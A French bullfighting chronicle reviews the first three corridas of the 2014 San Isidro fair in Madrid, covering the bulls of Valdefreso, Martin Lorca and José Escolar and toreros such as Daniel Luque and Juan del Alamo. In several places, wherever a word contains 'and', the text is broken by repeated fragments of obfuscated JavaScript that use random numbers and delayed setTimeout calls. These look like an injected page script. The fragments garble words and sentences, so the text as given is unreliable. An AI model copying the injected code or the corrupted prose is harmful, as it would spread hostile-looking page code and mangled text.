SAN ISIDRO 2014. CORRIDA. 1º, 2º et 3º

SAN ISIDRO. 1e corrida. Se croiser ou toréer en ligne ?

Les taureaux de Valdefreso étaient grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands et mansos, nobles et sans race, un mauvais mélange parce qu’ il ne fait pas vibrer le public et  qu’on peut à peine les toréer. Daniel Luque, qui est un bon torero, vit un indice de charges à son second taureau, à condition de ne pas l’attaquer, de le mener en ligne et à la fin des passes de ne pas forcer trop la charge vers l’intérieur. C’est ce que fit le torero de Gerena, et il composa une bonne faena plastique. Mais les docteurs indoctes de l’aficion de Madrid, voulaient qu’il se croise avec le taureau au moment du cite et qu’il le rompe après vers l’intérieur ; c’est-à-dire, le meilleur moyen pour qu’un manso sans race s’arrête. Et pour avoir bien toréé... ils lui témoignèrent leur désapprobation.

La qualité du torero, la stupidité des « sages » et la désorientation ovine de presque tout le reste de l’assemblée, c’est le seul souvenir que j’ai de cette assommante après-midi.

SAN ISIDRO. 2e corrida. Juan del Alamo, le torero de Salamanque

Salamanque a donné à l’histoire un triplet de toreros: El Viti, Julio Robles et El Capea. D’autres toreros de talent se distinguèrent aussi, mais sans devenir figuras. Juan Del Almo pourrait être la prochaine figura salmantine (charra). Sa première prestation à Madrid a été splendide. Pour son bon toreo à la véronique – très roblésien - , pour son courage – de vrai toreo - , pour sa maestria – sens inné du placement et présentation exacte du leurre – et pour son art –  d’une parfaite toreria. L’oreille qu’il coupa à son premier taureau – l’énorme taureau de sustitution de El Vellosino – est la quatrième de celles qu’il a obtenues à Madrid au cours de quatre prestations consécutives, et  celle qu’il réalisa avec le taureau supercornu – ainsi le fut toute la corrida de Martin Lorca – qui termina la corrida, fut héroïque, sans option au triomphe et d’un engagement total.

Miguel Tendero m’a beaucoup plu aussi. Un autre jeune torero qui mérite de toréer plus. A  la corrida supercornue de Martin Lorca excédaient les cornes – pour des raisons esthétiques – et les kilos  - parce qu’ils étouffaient leurs charges - , mais on devine chez eux de la classe et suffisamment de race. Conclusion : un bon élevage, s’il présente ses taureaux avec moins de cornes et moins de kilos dans des arènes où l’on accepte et aime le taureau bravo tel qu’il est.

SAN ISIDRO. 3º corrida. Les taureaux de José Escolar, esclaves des topiques

Les « albaserradas » d’Escolar, qui l’étaient par leur type bien que par leur comportement ressemblaient à des « santacolomas », souffrirent du malentendu imposé par les topiques. Ce ne furent ni des barrabas ni des chercheurs de chevilles. Non, ce n’étaient pas des taureaux tauristes. Mais les toreros ne se rendirent pas compte qu’ils étaient braves et nobles avant de lidier le quatrième. Trop tard : les deux taureaux restants ne servirent pas. Les quatre premiers ne durèrent pas beaucoup, pas suffisamment pour les longues faenas qui sont maintenant à la mode, mais ils avaient l’émotion, la noblesse et la classe suffisantes pour leur avoir coupé les oreilles après une quinzaine de muletazos. Certes, en les toréant vraiment. Malheureusement, les toreros prévoyants, qui étaient venus tuer les redoutables « albaserradas », décidèrent de s’employer quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and les charges, les bonnes, s’étaient éteintes. Un autre talent, plus d’ardeur et de toreria leur auraient valu le triomphe. Mais il ne faut pas demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander l’impossible. L’affiche était composée d’un vétéran qui torée peu – Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando Robledo – et de deux jeunes qui ne toréent presque pas – Perez Mota et Miguel Angel Delgado. Il est vrai qu’aujourd’hui certains toreros toréent mieux que jamais, mais il est non moins vrai qu’en majorité ils sont tristes et ennuyeux. De leur funèbre paseillo à leurs persévérantes faenas, tout, absolument tout, est suant.

L’exception : le tercio protagonisé par le picador, Pedro Iturralde, monté sur le cheval « Jerte », au quatrième taureau de la corrida.

 

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JUAN DEL ALAMO (foto lionel Bon)

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